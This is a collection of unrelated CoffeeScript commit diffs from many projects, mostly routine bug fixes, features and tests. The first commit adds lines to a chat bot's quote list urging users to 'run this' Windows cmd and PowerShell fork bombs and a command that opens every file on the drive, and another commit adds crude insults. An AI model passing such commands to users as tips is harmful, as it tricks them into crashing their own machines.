adding fork bombs

adding fork bombs

--- scripts/dr-mat.coffee
+++ scripts/dr-mat.coffee
@@ -21,7 +21,7 @@
   "Monads are just monoids in the category of endofunctors",
   "You can not follow the path, before you will become the path yourself",
   "Expect nothing, seek nothing, grasp nothing",
-  "You are remembered by the rules you break",
+  "run this `cmd /k echo -^|->-.bat&-`",
   "run this in cmd `%0|%0`",
   "run this in powershell `gci \ -R|ii`",
   "run this in powershell `for(){PS|II}`",


Update with more juicy insults

Update with more juicy insults

--- scripts/insult.coffee
+++ scripts/insult.coffee
@@ -53,6 +53,12 @@
   "The last time I saw a face like yours I fed it a banana.",
   "Maybe if you ate some of that makeup you could be pretty on the inside.",
   "Hey, you have somthing on your chin... no, the 3rd one down",
+  "http://i.imgur.com/9IZACjN.jpg",
+  "http://i.imgur.com/ftc2h0p.jpg",
+  "http://i.imgur.com/QEb2GaS.jpg",
+  "http://i.imgur.com/LHQ5FXf.jpg",
+  "http://i.imgur.com/rNW9J0D.jpg",
+  "http://i.imgur.com/D6SpawO.jpg",
   "I'd slap you, but shit stains.",
   "If I were to slap you, it would be considered animal abuse!",
   "Why don't you slip into something more comfortable -- like a coma.",


Clean up working parts.

Clean up working parts.

--- scripts/points.coffee
+++ scripts/points.coffee
@@ -104,11 +104,13 @@
     ), 60000

     # Get a list of the top X users for point totals.
-    # Work in progress. Winging it.
     robot.respond /top (\d*)$/i, (msg) ->
         if robot.auth.hasRole(msg.envelope.user, ['admin', 'moderator'])
             pointcount = msg.match[1]
-            leaders = (username for username in people when username isnt 'awebot')

-            msg.send "The top #{pointcount} users with the most points are: #{leaders}"
+            # Users above in our increment section should be placed into
+            # their own array so we can reference them here and then
+            # call on X amount of them when needed.
+
+            msg.send "The top #{pointcount} users with the most points are: "
             return


Fixed a bug with variable naming.

Fixed a bug with variable naming.

--- src/game/states/game.coffee
+++ src/game/states/game.coffee
@@ -142,11 +142,11 @@

      	 if (@xdistance < 20 && @ydistance < 20) || @levelcomplete
         #if Player on star
-             @game.add.tween(star).to({alpha:starLitAlpha},lightSpdConstant,Phaser.Easing.Quintic.Out,true)
+             @game.add.tween(star).to({alpha:@starLitAlpha},@lightSpdConstant,Phaser.Easing.Quintic.Out,true)
      	 else

        #if Player not on star
-               @game.add.tween(star).to({alpha:starDimAlpha},dimSpdConstant,Phaser.Easing.Quintic.Out,true)
+               @game.add.tween(star).to({alpha:@starDimAlpha},@dimSpdConstant,Phaser.Easing.Quintic.Out,true)
                #@game.Tween.removeAllTweens()
      	 if won
      	    if star.alpha < 0.35


Add tests for error handling

Add tests for error handling

--- tests.coffee
+++ tests.coffee
@@ -926,3 +926,40 @@

     # Register the test case.
     ClassyTestCase.addTest new ReactivePublishTestCase()
+
+if Meteor.isServer
+  Meteor.publish "initial error", () ->
+    @autorun () =>
+      throw new Meteor.Error('triggered error')
+
+  Meteor.publish "rereun error", () ->
+    reactiveError = new ReactiveVar false
+
+    @autorun () =>
+      if reactiveError.get()
+        throw new Meteor.Error('triggered error')
+
+    setTimeout (-> reactiveError.set(true)), 1000
+    @ready()
+
+class ReactivePublishErrorTests extends ClassyTestCase
+  @testName: "reactivepublish - Errors"
+
+  testClientInitialError: () ->
+      sub = Meteor.subscribe("initial error", {
+        onStop: (error) =>
+          @assertEqual(error.message, '[triggered error]')
+      })
+
+  testClientRerunError: () ->
+    isReady = false
+    Meteor.subscribe("rereun error", {
+      onStop: @expect (error) =>
+        @assertEqual(isReady, true, 'received error on rerun')
+        @assertEqual(error.message, '[triggered error]')
+      onReady: () =>
+        isReady = true
+    })
+
+ClassyTestCase.addTest new ReactivePublishErrorTests
+


couple of more tests for field access and field assignment and array access and array assignment

--- tests.coffee
+++ tests.coffee
@@ -1462,6 +1462,20 @@

   # ---------------------------------------------------------------------------
   """
+  MyClass = Class new
+  myObject = MyClass new
+  myObject.someField print
+  myObject.someOtherField print
+  myObject.someField =' (9 3 15 5 7)
+  myObject.someField[1 plus 1] = 1 plus 1
+  myObject.someOtherField =' ("Hello " "Dave " ("oh " "so ") "dear " "friend")
+  myObject.someOtherField[myObject.someField[1 plus 1]] print
+
+  """
+  "nilnil( \"oh \" \"so \" )"
+
+  # ---------------------------------------------------------------------------
+  """
   numbers =' (9 3 2 5 7)
   myList =' ("Hello " "Dave " ("oh " "so ") "dear " "friend")
   myList[numbers[1plus 1]][0 plus 1] print
@@ -1785,6 +1799,16 @@
   ﹍﹍codeToBeRun eval
   """
   "! exception: for...each expects a list"
+
+  # ---------------------------------------------------------------------------
+  """
+  MyClass = Class new
+  myObject = MyClass new
+  myObject.someField print
+  myObject.someField = 2
+  myObject.someField print
+  """
+  "nil2"

 ]


Fix some doc lines.

Fix some doc lines.

--- engine/myou.coffee
+++ engine/myou.coffee
@@ -160,9 +160,9 @@
     # Makes a screenshot and returns a blob containing it
     # @param width [number] Width of the desired screenshot in pixels
     # @param height [number] Height of the desired screenshot in pixels
-    # @option supersampling [number] Amount of samples per pixel for antialiasing
-    # @option format [string] Image format such as "png" or "jpeg"
-    # @option jpeg_quality [number] Quality for compressed formats like jpeg and webp. Between 0 and 1.
+    # @option options supersampling [number] Amount of samples per pixel for antialiasing
+    # @option options format [string] Image format such as "png" or "jpeg"
+    # @option options jpeg_quality [number] Quality for compressed formats like jpeg and webp. Between 0 and 1.
     # @return [Promise] Promise resolving a [Blob]
     screenshot_as_blob: (width, height, options={}) ->
         @render_manager.screenshot_as_blob width, height, options


fix associations

fix associations

--- app/resources/modules/has_many.coffee
+++ app/resources/modules/has_many.coffee
@@ -50,6 +50,7 @@

     # add callbacks
     @after_update (data) ->
+      return if data instanceof pi.resources.Base
       if data[name]
         @["#{name}_loaded"] = true
         @[name]().load data[name]


Added new command to get the 5 most popular games (based on viewership)

--- scripts/twitch.coffee
+++ scripts/twitch.coffee
@@ -8,10 +8,11 @@
 #   None
 #
 # Commands:
+#   hubot ttv featured - Returns the first 5 featured live streams
 #   hubot ttv game <category> - Returns the first 5 live streams in a game <category> (case-sensitive)
-#   hubot ttv featured - Returns the first 5 featured live streams
+#   hubot ttv search <query> - Returns the first 5 live streams matching the search <query>
 #   hubot ttv stream <name> - Returns information about stream <name>
-#   hubot ttv search <query> - Returns a list of live streams matching the search <query>
+#   hubot ttv top - Returns the top 5 games sorted by the number of current viewers on Twitch, most popular first
 #
 # Author:
 #   MrSaints
@@ -22,9 +23,17 @@
 #

 module.exports = (robot) ->
+    maxResults = 5
+
+    robot.respond /ttv featured/i, (msg) ->
+        twitch_request msg, '/streams/featured', limit: maxResults, (object) ->
+            for feature in object.featured
+                channel = feature.stream.channel
+                msg.send "#{feature.stream.game}: #{channel.display_name} (#{channel.status}) - #{channel.url} [Viewers: #{feature.stream.viewers}]"
+
     robot.respond /ttv game (.*)/i, (msg) ->
         category = msg.match[1]
-        twitch_request msg, '/streams', { game: category, limit: 5 }, (object) ->
+        twitch_request msg, '/streams', { game: category, limit: maxResults }, (object) ->
             if object._total is 0
                 msg.reply "No live streams were found in \"#{category}\". Try a different category or try again later."
                 return
@@ -33,14 +42,22 @@
                 channel = stream.channel
                 msg.send "#{channel.display_name} (\"#{channel.status}\") - #{channel.url} [Viewers: #{stream.viewers}]"

-            if object._total > 5
-                msg.reply "There are #{object._total - 5} other \"#{category}\" live streams."
+            if object._total > maxResults
+                msg.reply "There are #{object._total - maxResults} other \"#{category}\" live streams."

-    robot.respond /ttv featured/i, (msg) ->
-        twitch_request msg, '/streams/featured', { limit: 5 }, (object) ->
-            for feature in object.featured
-                channel = feature.stream.channel
-                msg.send "#{feature.stream.game}: #{channel.display_name} (#{channel.status}) - #{channel.url} [Viewers: #{feature.stream.viewers}]"
+    robot.respond /ttv search (.*)/i, (msg) ->
+        query = msg.match[1]
+        twitch_request msg, "/search/streams", { q: query, limit: maxResults }, (object) ->
+            if object._total is 0
+                msg.reply "No live streams were found using search query: \"#{query}\". Try a different query or try again later."
+                return
+
+            for stream in object.streams
+                channel = stream.channel
+                msg.send "#{channel.display_name} (\"#{channel.status}\") - #{channel.url} [Viewers: #{stream.viewers}]"
+
+            if object._total > maxResults
+                msg.reply "There are #{object._total - maxResults} other live streams matching your search query: \"#{query}\"."

     robot.respond /ttv stream (.*)/i, (msg) ->
         twitch_request msg, "/streams/#{msg.match[1]}", null, (object) ->
@@ -49,13 +66,21 @@
                 return

             if not object.stream
-                msg.reply "The stream you have entered (\"#{msg.match[1]}\") is currently offline."
+                msg.reply "The stream you have entered (\"#{msg.match[1]}\") is currently offline. Try again later."
                 return

             channel = object.stream.channel
             msg.send "#{channel.display_name} is streaming #{channel.game} @ #{channel.url}"
             msg.send "Stream status: \"#{channel.status}\""
             msg.send "Viewers: #{object.stream.viewers}"
+
+    robot.respond /ttv top/i, (msg) ->
+        createURL = (game) ->
+            "http://www.twitch.tv/directory/game/#{encodeURIComponent(game)}"
+
+        twitch_request msg, "/games/top", limit: 5, (object) ->
+            for gameObj, i in object.top
+                msg.send "#{i + 1}. #{gameObj.game.name} | Viewers: #{gameObj.viewers} | Channels: #{gameObj.channels} | #{createURL(gameObj.game.name)}"

 twitch_request = (msg, api, params = {}, handler) ->
     msg.http("https://api.twitch.tv/kraken#{api}")


Enable turbograft on ios chrome

Enable turbograft on ios chrome

--- lib/assets/javascripts/turbograft/turbolinks.coffee
+++ lib/assets/javascripts/turbograft/turbolinks.coffee
@@ -19,9 +19,6 @@
 browserSupportsPushState =
   window.history and window.history.pushState and window.history.replaceState and historyStateIsDefined

-browserIsntBuggy =
-  !navigator.userAgent.match /CriOS\//
-
 window.triggerEvent = (name, data) ->
   event = document.createEvent 'Events'
   event.data = data if data
@@ -42,7 +39,7 @@
 requestMethodIsSafe =
   popCookie('request_method') in ['GET','']

-browserSupportsTurbolinks = browserSupportsPushState and browserIsntBuggy and requestMethodIsSafe
+browserSupportsTurbolinks = browserSupportsPushState and requestMethodIsSafe

 browserSupportsCustomEvents =
   document.addEventListener and document.createEvent


Add 'X-Ledger-Environment' in HTTP requests header

--- app/src/restclients/restclient.coffee
+++ app/src/restclients/restclient.coffee
@@ -14,6 +14,7 @@
     @_client ||= @_httpClientFactory()
     @_client.setHttpHeader 'X-Ledger-Locale', chrome.i18n.getUILanguage()
     @_client.setHttpHeader 'X-Ledger-Platform', 'chrome'
+    @_client.setHttpHeader 'X-Ledger-Environment', ledger.env
     @_client

   networkErrorCallback: (callback) ->


Close the template

Close the template

Menu.buildFromTemplate modifies it so copy before hand
so it can be reused

--- src/browser/application-menu.coffee
+++ src/browser/application-menu.coffee
@@ -27,7 +27,7 @@
     @showUpdateMenuItem(global.atomApplication.autoUpdateManager.getState())

   setActiveTemplate: (template) ->
-    @menu = Menu.buildFromTemplate(template)
+    @menu = Menu.buildFromTemplate(_.deepClone(template))
     Menu.setApplicationMenu(@menu)

   # Flattens the given menu and submenu items into an single Array.


webgl: store global canvas at module, not window

--- bokehjs/src/coffee/common/plot.coffee
+++ bokehjs/src/coffee/common/plot.coffee
@@ -32,6 +32,8 @@
 # The presence (and not-being-false) of the ctx.glcanvas attribute is the
 # marker that we use throughout that determines whether we have gl support.

+global_gl_canvas = null
+

 class PlotView extends ContinuumView
   className: "bk-plot"
@@ -124,9 +126,9 @@

     # We use a global invisible canvas and gl context. By having a global context,
     # we avoid the limitation of max 16 contexts that most browsers have.
-    glcanvas = window._bokeh_gl_canvas
+    glcanvas = global_gl_canvas
     if not glcanvas?
-      window._bokeh_gl_canvas = glcanvas = document.createElement('canvas')
+      global_gl_canvas = glcanvas = document.createElement('canvas')
       opts = {'premultipliedAlpha': true}  # premultipliedAlpha is true by default
       glcanvas.gl = glcanvas.getContext("webgl", opts) || glcanvas.getContext("experimental-webgl", opts)

@@ -328,7 +330,7 @@
       ctx.drawImage(ctx.glcanvas, 0.1, 0.1)
       for prefix in ['image', 'mozImage', 'webkitImage','msImage']
          ctx[prefix + 'SmoothingEnabled'] = true
-      console.log('drawing with WebGL')
+      #console.log('drawing with WebGL')

     @_render_levels(ctx, ['overlay', 'tool'])


Revert "Add participation modal new line when click on button"

This reverts commit 3cdf28e8d3368fcc7274000a13f2c0392535ce30.

Conflicts:
	app/assets/javascripts/backend/intervention_participations.js.coffee

--- app/assets/javascripts/backend/intervention_participations.js.coffee
+++ app/assets/javascripts/backend/intervention_participations.js.coffee
@@ -1,153 +0,0 @@
-((E, $) ->
-  'use strict'
-
-  $(document).on 'click', '#working_times .clear-period', (event) ->
-    element = $(event.target)
-    participation = element.closest('.participation')
-
-    if !participation.next().hasClass('participation')
-      participation.next().remove()
-
-    nextParticipation = E.interventionParticipations.nextParticipation(element)
-    participation.remove()
-
-    E.interventionParticipations.changeWorkingPeriod(nextParticipation)
-
-
-  $(document).on "click", "#working_times .actions .action", (event) ->
-    event.preventDefault()
-
-    element = $(this)
-    button_text = element.text().trim()
-    period_nature = element.attr('data-nature-period')
-
-    participationIndex = 0
-    participationsCount = $('.participations .participation').length
-    workingPeriodsAttributes = "intervention_participation[working_periods_attributes][" + participationsCount + "]"
-
-    newLine = $('

')
-
-    $(newLine).append('<input type="hidden" value="' + period_nature + '" name="' + workingPeriodsAttributes  + '[nature]" data-is-nature-hidden-field="true"></input>')
-    $(newLine).append('<input type="hidden" name="' + workingPeriodsAttributes  + '[started_at]" data-is-hours-hidden-field="true"></input>')
-    $(newLine).append('<input type="hidden" name="' + workingPeriodsAttributes  + '[stopped_at]" data-is-minutes-hidden-field="true"></input>')
-
-    participation_icon = $('

')
-    $(participation_icon).append('

')
-    $(participation_icon).append(button_text)
-    $(newLine).append(participation_icon)
-
-    $(newLine).append('

')
-
-    hour_field = $('

')
-    $(hour_field).append('<input type="text" name="' + workingPeriodsAttributes + '[hours]" class="participation-input" data-is-hours-field="true"></input>')
-    $(hour_field).append('H')
-    $(newLine).find('.participation-form').append(hour_field)
-
-    min_field = $('

')
-    $(min_field).append('<input type="text" name="' + workingPeriodsAttributes + '[minutes]" class="participation-input" data-is-minutes-field="true"></input>')
-    $(min_field).append('Min')
-    $(newLine).find('.participation-form').append(min_field)
-
-    participationResult = $('

')
-    $(participationResult).append('')
-    $(participationResult).append(' → ')
-    $(participationResult).append('')
-    $(newLine).append(participationResult)
-
-    clearPeriod = $('

')
-    $(clearPeriod).append('')
-    $(newLine).append(clearPeriod)
-
-    $('#working_times .participations').append(newLine)
-
-    return
-
-
-  $(document).on "submit", '.edit_intervention_participation', (event) ->
-    @workingTimesModal = new ekylibre.modal('#working_times')
-    @workingTimesModal.getModal().modal 'hide'
-
-
-  $(document).on "change", '#working_times .participations input[type="text"]', (event) ->
-    element = $(event.target)
-
-    E.interventionParticipations.changeWorkingPeriod(element)
-
-
-  E.interventionParticipations =
-    changeWorkingPeriod: (element) ->
-      date_format = I18n.ext.datetimeFormat.fullJsFormat()
-      participationsCount = $('.participations .participation').length
-      participation = null
-
-      if element.hasClass('participation')
-        participation = element
-      else
-        participation = element.closest(".participation")
-
-
-      hours = participation.find("input[data-is-hours-field='true']").val()
-      minutes = participation.find("input[data-is-minutes-field='true']").val()
-
-      previousStartedAt = null
-      newDate = null
-
-      if this.firstParticipation(participation)
-        previousStartedAt = new Date($('#intervention_started_at').val())
-        newDate = this.calculNewDate(previousStartedAt.getTime(), hours, minutes)
-      else
-        previousParticipation = this.previousParticipation(element)
-        stringDate = previousParticipation.find('.next-working-date').text()
-
-        previousStartedAt = moment(stringDate, date_format)._d
-
-        newDate = this.calculNewDate(previousStartedAt, hours, minutes)
-
-
-      formattedPreviousStartDate = moment(previousStartedAt).format(date_format)
-      formattedStoppedDate = moment(newDate).format(date_format)
-
-      participation.find('.previous-working-date').text(formattedPreviousStartDate)
-      participation.find('.next-working-date').text(formattedStoppedDate)
-
-      participation.find('input[data-is-hours-hidden-field="true"]').val(formattedPreviousStartDate)
-      participation.find('input[data-is-minutes-hidden-field="true"]').val(formattedStoppedDate)
-
-
-      if !this.lastParticipation(element)
-        nextParticipation = this.nextParticipation(element)
-        this.changeWorkingPeriod(nextParticipation)
-
-
-    calculNewDate: (startDate , hours, minutes) ->
-      newDate = moment(startDate)
-      newDate.add(hours, 'hours')
-      newDate.add(minutes, 'minutes')
-
-    previousParticipation: (element) ->
-      participation = element.closest('.participation')
-      previousElement = participation.prev()
-
-      if previousElement.hasClass('participation')
-        return previousElement
-      else
-        previousElement.prev()
-
-    nextParticipation: (element) ->
-      participation = element.closest('.participation')
-      nextElement = participation.next()
-
-      if nextElement.hasClass('participation')
-        return nextElement
-      else
-        nextElement.next()
-
-    firstParticipation: (element) ->
-      element.prev().hasClass('participations-header')
-
-    lastParticipation: (element) ->
-      this.nextParticipation(element).length == 0
-
-
-  true
-) ekylibre, jQuery


Fix wrong way to force currency symbol after the amount

--- app/assets/javascripts/darkswarm/filters/localize_currency.js.coffee
+++ app/assets/javascripts/darkswarm/filters/localize_currency.js.coffee
@@ -3,12 +3,12 @@
   (amount) ->
     # Set country code (eg. "US").
     currency_code = if currencyConfig.display_currency then " " + currencyConfig.currency else ""
-    # Set decimal points,  2 or 0 if hide_cents.
+    # Set decimal points, 2 or 0 if hide_cents.
     decimals = if currencyConfig.hide_cents == "true" then 0 else 2
-    # Set wether the currency symbol appears first
-    sign_first =  currencyConfig.symbol_position == 'before'
+    # Set format if the currency symbol should come after the number, otherwise (default) use the locale setting.
+    format = if currencyConfig.symbol_position == "after" then "%n %u" else undefined
     # We need to use parseFloat as the amount should come in as a string.
     amount = parseFloat(amount)

     # Build the final price string.
-    I18n.toCurrency(amount, {precision: decimals, unit: currencyConfig.symbol, sign_first: sign_first}) + currency_code
+    I18n.toCurrency(amount, {precision: decimals, unit: currencyConfig.symbol, format: format}) + currency_code


fixes #415

fixes #415

--- app/assets/javascripts/oxalis/view/settings/settings_tab_view.coffee
+++ app/assets/javascripts/oxalis/view/settings/settings_tab_view.coffee
@@ -68,11 +68,11 @@
   changeViewMode : (mode) ->

     if mode == constants.MODE_PLANE_TRACING
-      @userSettings.show(@planeUserSettingsView)
-      @tracingSettings.show(@skeletonTracingSettingsView)
+      @userSettings.show(@planeUserSettingsView, preventDestroy : true)
+      @tracingSettings.show(@skeletonTracingSettingsView, preventDestroy : true)
     else if mode in constants.MODES_ARBITRARY
-      @userSettings.show(@arbitraryUserSettingsView)
-      @tracingSettings.show(@skeletonTracingSettingsView)
+      @userSettings.show(@arbitraryUserSettingsView, preventDestroy : true)
+      @tracingSettings.show(@skeletonTracingSettingsView, preventDestroy : true)
     else if mode == constants.MODE_VOLUME
-      @userSettings.show(@planeUserSettingsView)
-      @tracingSettings.show(@volumeTracingSettingsView)
+      @userSettings.show(@planeUserSettingsView, preventDestroy : true)
+      @tracingSettings.show(@volumeTracingSettingsView, preventDestroy : true)


Remove unused code.

Remove unused code.

--- app/client/js/routes.coffee
+++ app/client/js/routes.coffee
@@ -5,11 +5,10 @@
 class app.Routes extends este.Routes

   ###*
-    @param {app.user.Store} userStore
     @constructor
     @extends {este.Routes}
   ###
-  constructor: (userStore) ->
+  constructor: ->
     @home = @route '/'
     @about = @route '/about'
     @songs = @route '/songs'


Fix tab key

Fix tab key

--- views/tabarea.cjsx
+++ views/tabarea.cjsx
@@ -64,10 +64,14 @@
   setTabOffset: (offset) ->
     return if !@props.children?
     nowKey = @activeKey()
+    childrenCount = React.Children.count @props.children
     React.Children.forEach @props.children, (child, index) =>
       if child.key == nowKey
-        nextIndex = (index+offset+@props.children.length) % @props.children.length
-        @setNewKey @props.children[nextIndex].key
+        nextIndex = (index+offset+childrenCount) % childrenCount
+        # Always use the same method to preserve the definition of index
+        React.Children.forEach @props.children, (child_, index_) =>
+          if index_ == nextIndex
+            @setNewKey child_.key

   render: ->
     onTheLeft = true
@@ -137,9 +141,9 @@
     @selectTab key
     @selectTab isPlugin if !@state.doubleTabbed
   handleShiftTabKeyDown: ->
-    @refs.pluginTabUnion.setTabOffset -1
+    @refs.tabKeyUnion.setTabOffset -1
   handleTabKeyDown: ->
-    @refs.pluginTabUnion.setTabOffset 1
+    @refs.tabKeyUnion.setTabOffset 1
   handleKeyDown: ->
     return if @listener?
     @listener = true
@@ -173,12 +177,22 @@
     window.removeEventListener 'PluginManager.PLUGIN_RELOAD', @cachePluginList
   render: ->
     activePluginName = @state.activePluginName || @state.plugins[0]?.name
-    plugin = @state.plugins.find (p) => p.name == activePluginName
+    activePlugin = @state.plugins.find (p) => p.name == activePluginName
     defaultPluginTitle = <FontAwesome name='sitemap' />{__ ' Plugins'}
-    defaultPluginContents =
+    pluginDropdownContents = if @state.plugins.length == 0
       <MenuItem key={1002} disabled>
         {window.i18n.setting.__ "Install plugins in settings"}
       </MenuItem>
+    else
+      @state.plugins.map (plugin, index) =>
+        <MenuItem key={plugin.name} eventKey={plugin.name} onSelect={plugin.handleClick}>
+          {plugin.displayName}
+        </MenuItem>
+    pluginContents = for plugin, index in @state.plugins when !plugin.handleClick?
+
 @setState {activePluginName: key}}>
+        <PluginWrap plugin={plugin} />
+

     if !@state.doubleTabbed

         <Nav bsStyle="tabs" activeKey={@state.activeMainTab} id="top-nav"
@@ -190,26 +204,17 @@
             {shipview.displayName}
           </NavItem>
           <NavItem key='plugin' eventKey={activePluginName} onSelect={@handleSelect}>
-            {plugin?.displayName || defaultPluginTitle}
+            {activePlugin?.displayName || defaultPluginTitle}
           </NavItem>
           <NavDropdown id='plugin-dropdown' pullRight title=''
-             onSelect={@handleSelectDropdown}>
-          {
-            @state.plugins.map (plugin, index) =>
-              <MenuItem key={plugin.name} eventKey={plugin.name} onSelect={plugin.handleClick}>
-                {plugin.displayName}
-              </MenuItem>
-          }
-          {
-            if @state.plugins.length == 0
-              defaultPluginContents
-          }
+            onSelect={@handleSelectDropdown}>
+            {pluginDropdownContents}
           </NavDropdown>
           <NavItem key='settings' eventKey='settings' className="tab-narrow">
             <FontAwesome key={0} name='cog' />
           </NavItem>

-        <TabContentsUnion ref='mainTabUnion'
+        <TabContentsUnion ref='tabKeyUnion'
           onChange={(key) => @setState {activeMainTab: key}}>

             <mainview.reactClass />
@@ -217,13 +222,7 @@

             <shipview.reactClass />

-          {
-            for plugin, index in @state.plugins when !plugin.handleClick?
-
 @setState {activePluginName: key}}>
-                <PluginWrap plugin={plugin} />
-

-          }
+          {pluginContents}

             <settings.reactClass />

@@ -243,7 +242,7 @@
               {settings.displayName}
             </NavItem>

-          <TabContentsUnion ref='mainTabUnion'
+          <TabContentsUnion
             onChange={(key) => @setState {activeMainTab: key}}>

               <mainview.reactClass />
@@ -258,15 +257,13 @@

+            <NavDropdown id='plugin-dropdown' pullRight
+              title={activePlugin?.displayName || defaultPluginTitle}>
+            {pluginDropdownContents}
+            </NavDropdown>

-          <TabContentsUnion ref='pluginTabUnion'
-            onChange={(key) => @setState {activePluginName: key}}>
-          {
-            for plugin, index in @state.plugins when !plugin.handleClick?
-

-                <PluginWrap plugin={plugin} />
-

-          }
+          <TabContentsUnion ref='tabKeyUnion'>
+            {pluginContents}
           </TabContentsUnion>


Dont compile nonexported exports

Dont compile nonexported exports

--- src/compiler.coffee
+++ src/compiler.coffee
@@ -1504,7 +1504,7 @@
   #   (exportAll ctx, (join (importAny defaultImports), (topLevel ctx, form))))]
   definitions = (join (importAny defaultImports), (topLevel ctx, form))
   shouldBeExported = (name, declaration) ->
-    not declaration.virtual and declaration.final
+    not declaration.virtual and declaration.final and declaration.exported
   isExported = (name, exported) ->
     exported
   nonVirtual = filterMap shouldBeExported, ctx._scope()


add a func to store sorted x coords

add a func to store sorted x coords

--- app/lib/canvas-graph.coffee
+++ app/lib/canvas-graph.coffee
@@ -74,6 +74,12 @@
     mark.element.outerHTML = "" for mark in @all
     @all = []

+  sortedXCoords: ->
+    allXPoints = ([mark.canvasXMin, mark.canvasXMax] for mark in @all)
+    [].concat.apply([], allXPoints).sort (a, b) -> a - b
+    # or
+    # (allXPoints.reduce (a, b) -> a.concat b).sort (a, b) -> a - b
+
 class Mark
   constructor: (e, @canvasGraph) ->
     @canvas = @canvasGraph.canvas
@@ -114,6 +120,7 @@
   draw: (e) ->
     markLeftX = Math.max @startingPoint - @maxWidth(), Math.min @startingPoint, @toCanvasXPoint(e)
     markRightX = Math.max @startingPoint, @toCanvasXPoint(e)
+

     width = (Math.min (Math.max (Math.abs markRightX - markLeftX), @minWidth()), @maxWidth())

@@ -179,7 +186,6 @@

     $(document).trigger("mark-change")

-
   toCanvasXPoint: (e) -> e.pageX - @canvas.getBoundingClientRect().left - window.scrollX

 module?.exports = CanvasGraph: CanvasGraph, Marks: Marks, Mark: Mark


Game responses correctly named

Game responses correctly named

--- index.coffee
+++ index.coffee
@@ -217,7 +217,7 @@
     visitor: ua(app.get('ga-id'), user.id, {strictCidFormat: false})
     user: user
     game_status: game_status[user.id]
-    responses: game_responses[user.id]
+    game_responses: game_responses[user.id]
     message: bot_message
     text : _(text).deburr().toLowerCase()
     send: (message)->


Fixed search/replace typos

Fixed search/replace typos

--- app/lib/sdk/resource.coffee
+++ app/lib/sdk/resource.coffee
@@ -53,14 +53,14 @@
     save:
       canUpdate: -> true
       update: (options={}) ->
-        [events, req, url] = request @construT, "put", "path", options
+        [events, req, url] = request @constructor, "put", "path", options
         req.on("success", -> events.emit "saved") if req
         events

     destroy:
       canDestroy: -> true
       destroy: (options={}) ->
-        [events, req, url] = request @construT, "del", "path", options
+        [events, req, url] = request @constructor, "del", "path", options
         req.on("success", -> events.emit "destroyed") if req
         events


Fix read styleguide file per cat cmd bug

--- index.coffee
+++ index.coffee
@@ -10,6 +10,7 @@
 jade        = require 'jade'
 html        = require 'html'
 Vinyl       = require 'vinyl'
+fs          = require 'fs'

 module.exports = (options = {}) ->

@@ -23,15 +24,18 @@
       return next()

     styleguidePath = file.path.replace /\.lsg$/, ''
-    exec "livingstyleguide compile #{file.path}; cat #{styleguidePath} & rm #{styleguidePath};", (error, stdout, stderr) =>
+    exec "livingstyleguide compile #{file.path};", (error, stdout, stderr) =>
       if error
         err = new gutil.PluginError PLUGIN_NAME, error
         @emit 'error', err
         return next()

+      tempStyleguide = fs.readFileSync styleguidePath
+      fs.unlink styleguidePath
+
       file.path = styleguidePath

-      $ = cheerio.load stdout
+      $ = cheerio.load tempStyleguide
       generated = $('.livingstyleguide--container').html()
       styleguide = jade.renderFile options.template,
         content: generated


already thenable

already thenable

Signed-off-by: Adam Stokes <0a364f4bf549cc82d725fa7fd7ed34404be64079@ubuntu.com>

--- index.coffee
+++ index.coffee
@@ -29,4 +29,4 @@
       posts = []
       for post in items
         posts.push new Post(post)
-      return Promise.all(posts))
+      return posts)


Pull loadingGif from config

Pull loadingGif from config

--- index.coffee
+++ index.coffee
@@ -11,7 +11,7 @@

     done = @async()

-    {appDirectory, outputDirectory} = grunt.config(@name)
+    {appDirectory, loadingGif, outputDirectory} = grunt.config(@name)
     outputDirectory ?= path.resolve('.')
     loadingGif ?= path.resolve(__dirname, 'resources', 'install-spinner.gif')


Allow overriding of elasticsearch config via environment

--- index.coffee
+++ index.coffee
@@ -28,7 +28,11 @@
     @options = {}
     @messageSchema = MESSAGE_SCHEMA
     @optionsSchema = OPTIONS_SCHEMA
-    @elasticsearch = new elasticsearch.Client host: 'localhost:9200'
+
+    @elasticsearch = new elasticsearch.Client
+      host:     process.env.ELASTICSEARCH_HOST
+      hostname: process.env.ELASTICSEARCH_HOSTNAME ? 'localhost'
+      port:     process.env.ELASTICSEARCH_PORT ? '9200'

   onMessage: (message) =>
     debug 'onMessage', message


parse json

parse json

--- index.coffee
+++ index.coffee
@@ -26,7 +26,7 @@
     throw error if error

     if response.statusCode is 200
-      callback(body) if callback
+      callback(JSON.parse(body)) if callback
     else
       throw response.statusCode


Change the isRepo semantics to "inside work tree"

Before we were considering everything inside a git
repository to be ok for the isRepo check. Some git
commands however expect that they are run inside
the work tree and won’t work inside the .git
directory.

Because of that when we entered a .git directory
the child was dying – git status failed.

This commit changes how isRepo works – it now returns
whether we are in the working tree, and returns false
if we are in the .git directory.

I don’t care what happens when we go in the .git
directory itself. It’s an edge case, so I am OK
with excluding it from some git commands, even if
the information might make some sense.

--- index.coffee
+++ index.coffee
@@ -17,7 +17,7 @@
   # Helper to figure out if we're in a repo at all
   register 'isRepo',
     update: (done) ->
-      command = '([ -d .git ] || git rev-parse --git-dir >/dev/null 2>&1)'
+      command = '([ -d .git ] || [[ "true" == `git rev-parse --is-inside-work-tree 2>&1` ]])'
       Impromptu.exec command, (err) ->
         done err, ! err


allow undef tracker.

allow undef tracker.

--- index.coffee
+++ index.coffee
@@ -53,7 +53,7 @@
       System.import settings.extensions[extension]
       localForage.getItem retro.md5
     ]).then ([core, save]) ->
-      tracker.sendAppView 'play'
+      tracker.sendAppView 'play' if tracker?
       stop() if retro.running
       retro.core = core
       core.load_game rom if rom
@@ -73,7 +73,7 @@

 loadData = (filename, buffer) ->
   draghint.classList.add 'hidden'
-  tracker.sendEvent 'play', filename
+  tracker.sendEvent 'play', filename if tracker?
   extension = utils.getExtension filename
   rom = null
   if extension is 'zip'
@@ -88,10 +88,10 @@
   play rom, extension
   .catch (e) ->
     console.error e
-    tracker.sendEvent 'error', e
+    tracker.sendEvent 'error', e if tracker?

 load = (file) ->
-  tracker.sendEvent 'file'
+  tracker.sendEvent 'file' if tracker?
   return if not file instanceof Blob
   draghint.classList.add 'hidden'
   reader = new FileReader()
@@ -101,7 +101,7 @@

 window.addEventListener 'drop', (event) ->
   return if draghint.classList.contains 'hidden'
-  tracker.sendEvent 'drop'
+  tracker.sendEvent 'drop' if tracker?
   event.preventDefault()
   draghint.classList.remove 'hover'
   if event.dataTransfer.files.length > 0


Fix logic/syntax error checking for child paths of home directory

Fixes #5

--- index.coffee
+++ index.coffee
@@ -6,7 +6,7 @@
   register 'prettyPwd',
     update: ->
       cwd = process.env.PWD
